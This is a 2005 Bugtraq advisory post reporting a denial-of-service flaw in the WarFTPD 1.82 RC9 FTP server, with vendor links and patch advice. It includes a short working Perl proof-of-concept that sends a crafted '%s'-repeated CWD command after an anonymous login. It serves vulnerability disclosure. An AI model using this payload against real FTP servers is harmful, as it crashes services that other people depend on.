Bugtraqmailing list archives
WarFTPD 1.82 RC9 DoS
From: "MC.Iglo" <mc.iglo () gmx de>
Date: Thu, 27 Jan 2005 12:14:51 +0100
Hello,due to an access violation, specialy crafted CWD-Commands will exitthe FTP server when running as a NT service.User needs to be logged on.Vendor's report can be found athttp://support.jgaa.com/index.php?cmd=ShowReport&ID=02643Solution: deny anonymous or untrusted logins or use patched version.Updated Version can be found athttp://support.jgaa.com/index.php?cmd=ShowProduct&ID=3PoC Exploit<snip>#!/usr/bin/perl -w# remote DoS PoC Exploit for WarFTPD 1.82 RC9# THX 2 barabas 4 his GoldenFTP-sploit :)# greetings fly out to Foobaruse strict;use Net::FTP;my $payload="%s"x115;my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);$ftp->login("anonymous","123 () 123 com");$ftp->quot("CWD",$payload);</snip>
Current thread:
- WarFTPD 1.82 RC9 DoSMC.Iglo (Jan 27)